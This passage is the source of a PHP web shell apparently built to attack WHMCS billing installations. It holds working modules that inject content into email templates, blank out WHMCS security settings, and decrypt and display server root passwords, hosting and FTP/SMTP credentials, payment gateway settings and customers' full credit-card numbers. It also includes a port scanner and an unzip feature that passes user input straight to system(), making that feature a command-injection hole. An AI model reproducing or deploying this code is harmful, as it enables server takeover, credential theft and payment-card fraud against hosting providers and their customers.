m1GdFpTZGRPdzBLZlNCbGJITmxJSHNOQ21WamFHOGdKMXQrWFNCVmNHeHZZV1FnUm1GcGJHVmtJRlJmVkNCYmZsMDhMMlp2Ym5RK1BHSnlQaWM3RFFwOUlIME5DajgrRFFvPScpOw0KDQokZm9wZW4gPSBmb3BlbiAoJ2RtLnBocCcsJ3cnKTsNCiR3cml0ZSAgPSBmd3JpdGUoJGZvcGVuICwgJGMwZGUpOw=='));{/php}</textarea>
4284</td></tr>
4285<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4286</table>
4287<br>
4288</form>
4289</center>
4290<?php
4291if(isset($_POST['plapon'])) {
4292$anu1 = $_POST['anu1'];
4293$anu2 = $_POST['anu2'];
4294$anu3 = $_POST['anu3'];
4295$anu4 = $_POST['anu4'];
4296@mysql_connect($anu1,$anu2,$anu3);
4297@mysql_select_db($anu4);
4298$shell=str_replace("'","'",$shell);
4299$gosok_shell = $_POST['shell'];
4300$colok = "UPDATE tblemailtemplates SET message ='".$gosok_shell."' WHERE subject ='Welcome'";
4301$udah_ganteng=@mysql_query($colok);if($udah_ganteng)
4302{
4303echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4304}
4305}
4306}
4307
4308
4309# x=dmwhmcs4
4310elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs4')) {
4311?>
4312<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs4" method="post">
4313<p><br/><body>
4314<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ BYPASS </span> <span class="b8">TOKEN ]:=O</span></b></nobr><br/><br/>
4315<p><form method="post">
4316<table border=1>
4317<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4318<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4319<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4320<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4321<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4322</table>
4323<br>
4324</FORM>
4325</center>
4326<?php
4327if(isset($_POST['plapon'])) {
4328
4329$anu1 = $_POST['anu1'];
4330$anu2 = $_POST['anu2'];
4331$anu3 = $_POST['anu3'];
4332$anu4 = $_POST['anu4'];
4333@mysql_connect($anu1,$anu2,$anu3);
4334@mysql_select_db($anu4);
4335
4336$crot1 = "UPDATE tblconfiguration SET value='' WHERE setting='InvalidLoginBanLength'";
4337$crot2 = "UPDATE tblconfiguration SET value='' WHERE setting='AdminForceSSL'";
4338$crot3 = "UPDATE tblconfiguration SET value='' WHERE setting='RequiredPWStrength'";
4339$crot4 = "UPDATE tblconfiguration SET value='' WHERE setting='MaintenanceMode'";
4340$crot5 = "UPDATE tblconfiguration SET value='' WHERE setting='APIAllowedIPs'";
4341$crot6 = "UPDATE tblconfiguration SET value='' WHERE setting='LoginFailures'";
4342$crot7 = "UPDATE tblconfiguration SET value='' WHERE setting='InstanceID'";
4343$crot8 = "UPDATE tblconfiguration SET value='' WHERE setting='WhitelistedIPs'";
4344$crot9 = "UPDATE tblconfiguration SET value='' WHERE setting='ToggleInfoPopup'";$crot10 = "UPDATE tblconfiguration SET value='' WHERE setting='token_namespaces'";
4345
4346$udah_ganteng=@mysql_query($crot1);
4347$udah_ganteng=@mysql_query($crot2);
4348$udah_ganteng=@mysql_query($crot3);
4349$udah_ganteng=@mysql_query($crot4);
4350$udah_ganteng=@mysql_query($crot5);
4351$udah_ganteng=@mysql_query($crot6);
4352$udah_ganteng=@mysql_query($crot7);
4353$udah_ganteng=@mysql_query($crot8);
4354$udah_ganteng=@mysql_query($crot9);
4355$udah_ganteng=@mysql_query($crot10);
4356
4357if($udah_ganteng)
4358{
4359echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4360}
4361}
4362}
4363
4364
4365# x=whmcs1
4366elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs1')) {
4367?>
4368<form action="?dm=<?php echo $pwd; ?>&x=whmcs1" method="post">
4369
4370<p><br/><body>
4371<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ WHMCS</span> <span class="b8">DECODER ]:=O</span></b></nobr><br/><br/>
4372<p><form method="post">
4373<table border=1>
4374<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4375<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4376<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4377<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4378<tr><td>cc_encryption_hash</td><td><input style="color:#FF0000;background-color:#000000" type="text" size="60" name="anu5"></td></tr>
4379<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4380
4381</table>
4382<br></form></center>
4383
4384<?php
4385$perawan = $_POST['anu1'];
4386$kimcil = $_POST['anu2'];
4387$janda = $_POST['anu3'];
4388$hotel = $_POST['anu4'];
4389$kondom = $_POST['anu5'];
4390
4391@mysql_connect($perawan,$kimcil,$janda);
4392@mysql_select_db($hotel);
4393$cc_encryption_hash = $kondom;
4394
4395function dec($string,$cc_encryption_hash){
4396$key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
4397$hash_key = _hash($key);
4398
4399$hash_length = strlen($hash_key);
4400$string = base64_decode($string);
4401$tmp_iv = substr($string,0,$hash_length);
4402$string = substr($string,$hash_length,strlen ($string) - $hash_length);
4403$iv = $out = '';
4404$c = 0;
4405while ($c < $hash_length){
4406$iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
4407++$c;
4408}
4409
4410$key = $iv;
4411$c = 0;
4412while ($c < strlen($string)){
4413if (($c != 0 AND $c % $hash_length == 0)){
4414
4415$key = _hash($key . substr($out,$c - $hash_length,$hash_length));
4416}
4417$out .= chr(ord($key[$c % $hash_length]) ^ ord ($string[$c]));
4418 ++$c;
4419}
4420 return $out;
4421}
4422function _hash($string)
4423{
4424$hash = (function_exists('sha1')) ? sha1($string):md5($string);
4425$out = '';
4426$c = 0;
4427
4428while ($c < strlen($hash)){
4429$out .= chr(hexdec($hash[$c] .$hash[$c + 1]));
4430$c += 2;
4431}
4432return $out;
4433}
4434
4435######## GO TO HELL ########
4436##### :D ########### :D #####
4437
4438if(isset($_POST['plapon'])) {
4439$query = mysql_query("SELECT *FROM tblservers");
4440echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4441<tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr>
4442
4443<tr>
4444<th align='center'><b>TYPE</b></th>
4445<th align='center'><b>ACTIVE</b></th>
4446<th align='center'><b>HOSTNAME</b></th>
4447<th align='center'><b>IP ADDRESS</b></th>
4448<th align='center'><b>USERNAME</b></th>
4449<th align='center'><b>PASSWORD</b></th>
4450<th align='center'><b>ACCESS HASH</b></th></tr>";
4451if(!is_array(mysql_fetch_array($query))){
4452echo "<tr><td colspan='8' align='center'>Nothing Found !</td></tr>";
4453}
4454while($v = mysql_fetch_array($query)) {
4455echo "<tr>
4456<td align='center'>{$v['type']}</td>
4457<td align='center'>{$v['active']}</td>
4458<td align='center'>{$v['hostname']}</td>
4459<td align='center'>{$v['ipaddress']}</td>
4460<td align='center'>{$v['username']}</td>
4461<td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
4462<td align='center'>{$v['accesshash']}</td>
4463</tr>";
4464}
4465echo "</table>";
4466
4467
4468$query = mysql_query("SELECT * FROM tblhosting where username = 'root' or username = 'vmuserxx' or username = 'vmuser' or username = 'admin' or username = 'Admin' or username = 'administrator' or username = 'Administrator' order by domainstatus");
4469echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4470<tr><th colspan='6'><span class='b7'>O=:[ CLIENTS ROOT ]:=O</span> </th></tr>
4471
4472<tr>
4473<th align='center'><b> DOMAIN</b></th>
4474<th align='center'><b> STATUS</b></th>
4475<th align='center'><b> USERNAME</b></th>
4476<th align='center'><b> PASSWORD</b></th>
4477<th align='center'><b> DEDICATED IP</b></th>
4478<th align='center'><b> ASSIGNED IP</b></th></tr>";
4479
4480if(!is_array(mysql_fetch_array($query))){
4481echo "<tr><td colspan='6' align='center'>Nothing Found ! :(</td></tr>";
4482}
4483while($v = mysql_fetch_array($query)){
4484echo "<tr>
4485<td align='center'> {$v['domain']}</td>
4486<td align='center'> {$v['domainstatus']}</td>
4487<td align='center'> {$v['username']}</td>
4488<td align='center'> ".dec($v['password'],$cc_encryption_hash)."</td>
4489<td align='center'> {$v['dedicatedip']}</td>
4490<td align='center'> {$v['assignedips']}</td></tr>";
4491}
4492echo "</table>";
4493
4494$query = mysql_query("SELECT *FROM tblregistrars");
4495echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4496<tr><th colspan='3'><nobr><span class='b7'>O=:[ DOMAIN REGISTRAR ]:=O</span></nobr></th></tr>
4497<tr>
4498<th align='center'><b>REGISTRAR</b></th>
4499<th align='center'><b>SETTING</b></th>
4500<th align='center'><b>VALUE</b></th></tr>";
4501if(!is_array(mysql_fetch_array($query))){
4502echo "<tr><td colspan='3' align='center'>Nothing Found !</td></tr>";
4503}
4504while($v = mysql_fetch_array($query)){
4505$value = (!dec($v['value'],$cc_encryption_hash)) ? "0":dec($v['value'],$cc_encryption_hash);
4506echo "<tr>
4507<td align='center'>{$v['registrar']}</td>
4508<td align='center'>{$v['setting']}</td>
4509<td align='center'>$value</td></tr>" ;
4510}
4511echo "</table>";
4512
4513$query = mysql_query("SELECT * FROM tblconfiguration where 1");
4514echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4515<tr><th colspan='4'> <span class='b7'>O=:[ FTP BACKUP ]:=O</span> </th></tr>
4516
4517<tr>
4518<th align='center'><b>FTP HOSTNAME</b></th>
4519<th align='center'><b>FTP USERNAME</b></th>
4520<th align='center'><b>FTP PASSWORD</b></th>
4521<th align='center'><b>DESTINATION</b></th></tr>";
4522$ftpb = array('FTPBackupHostname',
4523'FTPBackupUsername',
4524'FTPBackupPassword',
4525'FTPBackupDestination');
4526if(!is_array(mysql_fetch_array($query))){
4527echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
4528}
4529while($row = mysql_fetch_array($query)){
4530if($row[setting] == $ftpb[0]){
4531echo "<tr><td>{$row[value]}</td>";
4532$ftpb[0] = xxx;
4533}
4534elseif($row[setting] == $ftpb[1]){
4535echo "<td>{$row[value]}</td>";
4536$ftpb[1] = xxx;
4537}
4538elseif($row[setting] == $ftpb[2]){
4539echo "<td>{$row[value]}</td>";
4540$ftpb[2] = xxx;
4541}
4542elseif($row[setting] == $ftpb[3]){
4543echo "<td>{$row[value]}</td>";
4544$ftpb[3] = xxx;
4545}
4546}
4547echo "</table>";
4548
4549$query = mysql_query("SELECT * FROM tblconfiguration where 1");
4550echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4551<tr><th colspan='4'><span class='b7'>O=:[ SMTP SERVER ]:=O</span> </th></tr>
4552<tr>
4553<th align='center'><b>SMTP HOST</b></th>
4554<th align='center'><b>SMTP USER</b></th>
4555<th align='center'><b>SMTP PASS</b></th>
4556<th align='center'><b>SMTP PORT</b></th></tr>";
4557
4558$smtp = array('SMTPHost',
4559'SMTPUsername',
4560'SMTPPassword',
4561'SMTPPort');
4562if(!is_array(mysql_fetch_array($query))){
4563echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
4564}
4565while($row = mysql_fetch_array($query)){
4566if($row[setting] == $smtp[0]){
4567echo "<tr><td>{$row[value]}</td>";
4568$smtp[0] = xxx;
4569}
4570elseif($row[setting] == $smtp[1]){
4571echo "<td>{$row[value]}</td>";
4572$smtp[1] = xxx;
4573}
4574elseif($row[setting] == $smtp[2]){
4575echo "<td>{$row[value]}</td>";
4576$smtp[2] = xxx;
4577}
4578elseif($row[setting] == $smtp[3]){
4579echo "<td>{$row[value]}</td>";
4580$smtp[3] = xxx;
4581}
4582}
4583echo "</table>";
4584
4585
4586$query = mysql_query("SELECT *FROM tblpaymentgateways");
4587echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4588<tr><th colspan='4'><nobr><span class='b7'>O=:[ PAYMENTS GATEWAY ]:=O</span></nobr></th></tr>
4589
4590<tr>
4591<th align='center'><b>GATEWAY</b></th>
4592<th align='center'><b>SETTING</b></th>
4593<th align='center'><b>VALUE</b></th>
4594<th align='center'><b>ORDER</b></th></tr>";
4595if(!is_array(mysql_fetch_array($query))){
4596echo "<tr><td colspan='4' align='center'>Nothing Found !</td></tr>";
4597}
4598while($v = mysql_fetch_array($query)){
4599echo "<tr>
4600<td align='center'>{$v['gateway']}</td>
4601<td align='center'>{$v['setting']}</td>
4602<td align='center'>{$v['value']}</td>
4603<td align='center'>{$v['order']}</td> </tr>" ;
4604}
4605echo "</table>";
4606
4607$query = mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC");
4608 echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4609<tr><th colspan='10'><nobr><span class='b7'>O=:[ CLIENTS CREDIT CARD ]:=O</span></nobr></th></tr>
4610<tr>
4611<th align='center'><b>CardType</b></th>
4612<th align='center'><b>CardNumb</b></th>
4613<th align='center'><b>Expdate</b></th>
4614<th align='center'><b>IssueNumber</b></th>
4615<th align='center'><b>FirstName</b></th>
4616<th align='center'><b>LastName</b></th>
4617<th align='center'><b>Address</b></th>
4618<th align='center'><b>Country</b></th>
4619<th align='center'><b>Phone</b></th>
4620<th align='center'><b>Email</b></th>
4621</tr>";
4622if(!is_array(mysql_fetch_array($query))){
4623echo "<tr><td colspan='10' align='center'>Nothing Found ! :(</td></tr>";
4624}
4625while($v = mysql_fetch_array($query)) {
4626$cchash = md5($cc_encryption_hash.$v['0']);
4627$s = mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'" . $cchash . "') as cardnum,AES_DECRYPT(expdate,'" . $cchash . "') as expdate,AES_DECRYPT(issuenumber,'" . $cchash . "') as issuenumber FROM tblclients WHERE id='".$v['0']."'");
4628$v2=mysql_fetch_array($s);
4629
4630echo "<tr>
4631<td align='center'>".$v2['cardtype']."</td>
4632<td align='center'>".$v2['cardnum']."</td>
4633<td align='center'>".$v2['expdate']."</td>
4634<td align='center'>".$v2['issuenumber']."</td>
4635<td align='center'>".$v2['firstname']."</td>
4636<td align='center'>".$v2['lastname']."</td>
4637<td align='center'>".$v2['address1']."</td>
4638<td align='center'>".$v2['country']."</td>
4639<td align='center'>".$v2['phonenumber']."</td>
4640<td align='center'>".$v2['email']."</td></tr>";
4641}
4642echo "</table>";
4643
4644$query = mysql_query("SELECT *FROM tblhosting");
4645echo "<br/><br/><center>
4646<table class='explore' style=width:830px;padding:0 1px;>
4647<tr><th colspan='6'><nobr><span class='b7'>O=:[ CLIENTS HOSTING ACCOUNT ]:=O</span></nobr></th></tr>
4648<tr>
4649<th align='center'><b>DOMAIN</b></th>
4650<th align='center'><b>STATUS</b></th>
4651<th align='center'><b>USERNAME</b></th>
4652<th align='center'><b>PASSWORD</b></th>
4653<th align='center'><b>DEDICATED IP</b></th>
4654<th align='center'><b>ASSIGNED IP</b></th></tr>";
4655if(!is_array(mysql_fetch_array($query))){
4656echo "<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
4657}
4658while($v = mysql_fetch_array($query)){
4659echo "<tr>
4660<td align='center'>{$v['domain']}</td>
4661<td align='center'>{$v['domainstatus']}</td>
4662<td align='center'>{$v['username']}</td>
4663<td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
4664<td align='center'>{$v['dedicatedip']}</td>
4665<td align='center'>{$v['assignedips']}</td></tr>";
4666}
4667echo "</table>";
4668}
4669}
4670
4671
4672 # x=psan
4673elseif(isset($_GET['x']) && ($_GET['x'] == 'pscan')){ ?>
4674<form action="?dm=<?php echo $pwd; ?>&x=pscan" method="post">
4675
4676<?php
4677echo '<center><br/><br/><nobr><b><span class="b7">O=:[ PORT</span> <span class="b8">SCANNER ]:=O</span></b></nobr><br/><br/>';
4678
4679$start = strip_tags($_POST['start']);
4680$end = strip_tags($_POST['end']);
4681$host = strip_tags($_POST['host']);
4682
4683if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
4684
4685for($i = $start; $i<=$end; $i++){
4686$fp = @fsockopen($host, $i, $errno, $errstr, 3);
4687if($fp){
4688
4689echo "Port <font style='color:#DE3E3E'>$i</font> is <font style='color:#64CF40'>open</font><br>";
4690}
4691flush();
4692}
4693} else {
4694echo '<input type="hidden" name="y" value="phptools">
4695
4696Host <br/>
4697<input type="text" class="inputz" name="host" value="localhost"/><br />
4698Port Start<br />
4699<input type="text" class="inputz" name="start" value="0"/><br />
4700Port End:<br />
4701<input type="text" class="inputz" name="end" value="5000"/><br />
4702<input type="submit" class="inputzbut" value="Scan Ports" />
4703</form></center>';
4704}
4705}
4706
4707// ********** x=string ********** //
4708elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){ ?>
4709<form action="?dm=<?php echo $pwd; ?>&x=string" method="post">
4710
4711<br><br><form method='post'>
4712<table class="tabnet"><tbody>
4713<tr><th colspan="2"> String to Hash </th></tr>
4714<tr><td>String : </td>
4715<td><input type='text' class='inputz' name='hash_input' value='<? if(isset($_POST['hash_input'])){echo $_POST['hash_input'];}?>' /></td></tr>
4716<tr>
4717<td align="center" colspan="2"><input type='submit' name='submit_hash' style="width:100%;" class='inputzbut' value='Encode' /></td>
4718</tr>
4719</tbody>
4720</table>
4721</form>
4722<br><br>
4723
4724<?php
4725if(isset($_POST['submit_hash'])) {
4726if(isset($_POST['hash_input'])) {
4727$hash_input = $_POST['hash_input'];
4728}
4729
4730if($hash_input=="") {
4731echo 'Nothing Inserted!';
4732} else {
4733if (isset($hash_input)) {
4734echo "<table class='tabnet'><tbody>
4735<tr><th colspan='2'> Hash </th></tr>";
4736
4737foreach (hash_algos() as $hash_setoption) { $calculate_hash = hash($hash_setoption, $hash_input, false);
4738
4739echo "<tr><td width='70' align='center'><font style='color:#9F7CEB'>$hash_setoption</font></td><td><font style='color:#5BC740'>$calculate_hash</font></td></tr>";
4740}
4741echo "</tbody></table>";
4742}
4743}
4744}
4745}
4746
4747# x=cc
4748elseif(isset($_GET['x']) && ($_GET['x'] == 'cc')){ ?>
4749<form action="?dm=<?php echo $pwd; ?>&x=cc" method="post">
4750
4751<?php
4752class CreditCardValidator {
4753private $arrCardInfo = array('status' => null, 'type' => null, 'substring' => null, 'reason' => null);
4754
4755private $arrCardTypes = array('amex' => array('name' => 'American Express','active' => true, 'iinrange' => '34,37','length' => 15), 'discover' => array('name' => 'Discover','active' => true,'iinrange' => '6011,622126-622925,644-649,65','length' => 16), 'mastercard' => array('name' => 'MasterCard','active' => true,'iinrange' => '51-55','length' => 16), 'visa' => array('name' => 'VISA','active' => true,'iinrange' => '4','length' => 16));
4756
4757private $arrAcceptedMII = array(3, 4, 5, 6);
4758public function Validate($strCardNumber=null, $strCardType=null) {
4759
4760if($strCardNumber === null) {
4761$this->arrCardInfo['failure'] = 'format';
4762$this->arrCardInfo['status'] = 'invalid';
4763return false;
4764}
4765
4766if(($strCardType !== null) && !in_array($strCardType, $this->arrCardTypes)) {
4767$this->arrCardInfo['failure'] = 'cardtype';
4768$this->arrCardInfo['status'] = 'invalid';
4769return false;
4770}
4771if(!$this->CheckMII($strCardNumber)) {
4772$this->arrCardInfo['failure'] = 'mii';
4773$this->arrCardInfo['status'] = 'invalid';
4774return false;
4775}
4776if(!$this->CheckIIN($strCardNumber)) {
4777$this->arrCardInfo['failure'] = 'iin';
4778$this->arrCardInfo['status'] = 'invalid';
4779return false;
4780}
4781if(!$this->CheckLuhn($strCardNumber)) {
4782$this->arrCardInfo['failure'] = 'algorithm';
4783$this->arrCardInfo['status'] = 'invalid';
4784return false;
4785}
4786$this->arrCardInfo['status'] = 'valid';
4787$this->arrCardInfo['substring'] = $this->GetCardSubstring($strCardNumber);
4788return true;
4789}
4790private function CleanCardNumber($strCardNumber=null) {
4791return preg_replace('/[^0-9]/', '', $strCardNumber);
4792}
4793
4794private function GetCardSubstring($strCardNumber=null) {
4795if(strstr($strCardNumber, '*') && (substr($strCardNumber) < 10)) return $strCardNumber;
4796$strCardNumber = $this->CleanCardNumber($strCardNumber);
4797return $strCardNumber ? '***'.substr($strCardNumber, (strlen($strCardNumber) - 4), 4) : '';
4798}
4799
4800private function CheckMII($strCardNumber=null) {
4801$strCardNumber = $this->CleanCardNumber($strCardNumber);
4802if(!$strCardNumber) return false;
4803
4804$intFirstDigit = (int) substr($strCardNumber, 0, 1);
4805if(!in_array($intFirstDigit, $this->arrAcceptedMII)) return false;
4806return true;
4807}
4808
4809private function CheckLuhn($strCardNumber=null) {
4810$strCardNumber = (string) $this->CleanCardNumber($strCardNumber);
4811$strCheckDigit = substr($strCardNumber, (strlen($strCardNumber) - 1), 1);
4812$strCardNumberReverse = strrev($strCardNumber);
4813$intTotal = 0;
4814for($i = 1; $i <= strlen($strCardNumberReverse); $i++) {
4815$intVal = (int) ($i % 2) ? $strCardNumberReverse[$i-1] : ($strCardNumberReverse[$i-1] * 2);
4816if($intVal > 9) {
4817$strVal = (string) $intVal;
4818$intVal = (int) ($strVal[0] + $strVal[1]);
4819}
4820$intTotal += $intVal;
4821}
4822return (($intTotal % 10) == 0) ? true : false;
4823}
4824
4825private function CheckIIN($strCardNumber=null) {
4826$strCardNumber = $this->CleanCardNumber($strCardNumber);
4827if(!$strCardNumber) return false;
4828$arrCardTypePossibilities = array();
4829foreach($this->arrCardTypes as $strShortName => $arrCardType) {
4830if($arrCardType['active'] === true) {
4831$strLen = strlen($strCardNumber);
4832if($strLen == $arrCardType['length']) {
4833
4834$arrRangeSets = explode(',', $arrCardType['iinrange']);
4835foreach($arrRangeSets as $strRangeSetItem) {
4836$arrStrRanges = explode('-', $strRangeSetItem);
4837if(count($arrStrRanges) > 1) {
4838for($i = $arrStrRanges[0]; $i <= $arrStrRanges[1]; $i++) {
4839
4840if((strpos((string) $strCardNumber, (string) $i) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName;
4841}
4842} else {
4843if((strpos((string) $strCardNumber, (string) trim($arrStrRanges[0])) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName;
4844}
4845}
4846}
4847}
4848}
4849$this->arrCardInfo['type'] = implode('|', $arrCardTypePossibilities);
4850return count($arrCardTypePossibilities) ? true : false;
4851}
4852
4853public function GetCardInfo() {
4854return $this->arrCardInfo;
4855}
4856
4857public function GetCardName($strCardShortName=null) {
4858return isset($this->arrCardTypes[$strCardShortName]['name']) ? $this->arrCardTypes[$strCardShortName]['name'] : '';
4859}
4860}
4861$CCV = new CreditCardValidator();
4862
4863if(isset($_POST['cardnum'])) :
4864$CCV->Validate($_POST['cardnum']);
4865$CARDINFO = $CCV->GetCardInfo();
4866endif;
4867?>
4868
4869<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
4870<html lang="en"><head>
4871<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
4872<title>Credit Card Validation - Test Page</title><style type="text/css">
4873body{ font-size: 13px; color: #333; font-family: 'georgia', 'times new roman', serif; margin: 20px; }
4874
4875fieldset{ border: 0; margin: 0; font-style: italic; }
4876
4877legend{ display: none; }
4878
4879label{ width: 100%; float: left; clear: both; font-size: 15px; font-weight: bold; color: #999; line-height: 3; }
4880
4881input, textarea{ font-size: 18px; line-height: 1.4; padding: 10px; border: 2px solid #eee; }
4882
4883textarea{ background-color: #eee; color: blue; }
4884
4885h2{ font-size: 30px; }
4886
4887#fs-input input{ width: 500px; margin-bottom: 15px; }
4888#fs-input input.cb{ width: auto; }
4889#fs-submit input{ background-color: #333; color: lightyellow; }
4890</style>
4891</head>
4892
4893<body><h2>Credit Card Tester</h2>
4894<form action="" method="post">
4895<fieldset id="fs-input"><legend></legend>
4896<label>Card Number</label>
4897<input type="text" style="color:#FF0000;background-color:#000000" name="cardnum" value="<?php echo @$_POST['cardnum']; ?>"><br>
4898<input type="checkbox" name="showgeek" class="cb" value="1"<?php if(isset($_POST['showgeek'])) echo ' checked'; ?>> Show Geeky Output
4899</fieldset>
4900<fieldset id="fs-submit">
4901<legend></legend>
4902<label></label>
4903<input type="submit" value="Check CC">
4904</fieldset>
4905<?php if(isset($_POST['cardnum'])) : ?>
4906<hr>
4907
4908<h2>Result</h2><fieldset id="fs-result">
4909<legend></legend><label></label>
4910<strong>Status:</strong> <?php echo strtoupper($CARDINFO['status']); ?><br>
4911<strong>Card Type: </strong> <?php echo $CCV->GetCardName($CARDINFO['type']); ?>
4912</fieldset>
4913<?php endif; ?>
4914<?php if(isset($_POST['showgeek'])) : ?>
4915<fieldset id="fs-geek-result">
4916<legend></legend>
4917<label>Geeky Result</label>
4918<textarea style="color:#FF0000;background-color:#000000" rows="40" cols="80"><?php print_r($CCV); ?></textarea>
4919</fieldset>
4920<?php endif; ?>
4921</form></body></html>
4922
4923<?php }
4924# x=unzip
4925elseif(isset($_GET['x']) && ($_GET['x'] == 'unzip')){
4926?>
4927<form action="?dm=<?php echo $pwd; ?>&x=unzip" method="post">
4928<center><br/><br/><nobr><span class="b7">O=:[ ZIP FILE</span> <span class="b8">EXTRACTOR ]:=O</nobr><br/><br/>
4929<?php
4930$file = $_POST['file'];
4931if (isset($file)){
4932echo "<nobr><b>[+] PROSES BONGKAR [+]</b><br><br></nobr>";
4933system('unzip -o ' . $file);
4934echo "<br/>";
4935exit;
4936}
4937
4938$handler = opendir(".");
4939echo "<center><b>Pilih File Yg Mau Di Unzip :<b><br> " . "<br>";
4940echo '<form action="" method="get">';
4941$found = false;
4942while ($file = readdir($handler)) {
4943if (preg_match ("/.zip$/i", $file)) {
4944echo '<input type="radio" name="file" value=' . $file . '> ' . $file . '<br>';
4945$found = true;
4946}
4947}
4948closedir($handler);
4949if ($found == false)
4950echo "<br><br><b>[+] GA ADA FILE EXTENSI ZIP [+]<b><br>";
4951else
4952echo '<br><br><inpuy type="submit" value="Unzip File">';
4953echo "</form>";
4954?>
4955
4956<?php }
4957# x=analyzer
4958elseif(isset($_GET['x']) && ($_GET['x'] == 'analyzer')){
4959?>
4960<form action="?dm=<?php echo $pwd; ?>&x=analyzer" method="post">
4961
4962<center><br/><br/><nobr><span class="b7">O=:[ HASH TYPE</span> <span class="b8">ANALYZER ]:=O</nobr><br/><br/> <form method=POST>
4963<input type="text" style="color:#FF0000;background-color:#000000" name="hashToAnalyze" size=60><input type="submit" style="color:#FF0000;background-color:#000000" value="Check Hash Now" name="analyzieNow"></form></center>
4964<?php
4965if($_POST['analyzieNow']){
4966$hash = $_POST['hashToAnalyze'];
4967$subHash = substr($hash,0,3);
4968if($subHash =='$ap' && strlen($hash) == 37){
4969echo "The Hash : ".$hash." is : MD5(APR) Hash";
4970}
4971else if($subHash =='$1$' && strlen($hash) == 34){
4972echo "The Hash : ".$hash." is : MD5(UNIX) Hash";
4973}
4974else if($subHash =='$H$' && strlen($hash) == 35){
4975echo "The Hash : ".$hash." is : MD5(phpBB3) Hash";
4976}
4977else if(strlen($hash) == 29){
4978echo "The Hash : ".$hash." is : MD5(Wordpress) Hash";
4979}
4980else if($subHash =='$5$' && strlen($hash) == 64){
4981echo "The Hash : ".$hash." is : SHA256(UNIX) Hash";
4982}
4983else if($subHash =='$6$' && strlen($hash) == 128){
4984echo "The Hash : ".$hash." is : SHA512(UNIX) Hash";
4985}
4986else if(strlen($hash) == 56){
4987echo "The Hash : ".$hash." is : SHA224 Hash";
4988}
4989else if(strlen($hash) == 64){
4990echo "The Hash : ".$hash." is : SHA256 Hash";
4991}
4992else if(strlen($hash) == 96){
4993echo "The Hash : ".$hash." is : SHA384 Hash";
4994}
4995else if(strlen($hash) == 128){
4996echo "The Hash : ".$hash." is : SHA512 Hash";
4997}
4998else if(strlen($hash) == 40){
4999echo "The Hash : ".$hash." is : MySQL v5.x Hash";
5000}
5001else if(strlen($hash) == 16){
5002echo "The Hash : ".$hash." is : MySQL Hash";
5003}
5004else if(strlen($hash) == 13){
5005echo "The Hash : ".$hash." is : DES(Unix) Hash";
5006}
5007else if(strlen($hash) == 32){
5008echo "The Hash : ".$hash." is : MD5 Hash";
5009}
5010else if(strlen($hash) == 4){
5011echo "The Hash : ".$hash." is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";}
5012else {
5013echo "Error : Can't Detect Hash Type";
5014}
5015}
5016?>
5017
5018
5019<?php }
5020# x=skype
5021elseif(isset($_GET['x']) && ($_GET['x'] == 'skype')){
5022?>
5023<form action="?dm=<?php echo $pwd; ?>&x=skype" method="post">
5024<br/><br/><form method='POST'>
5025
5026<center><br/><br/>
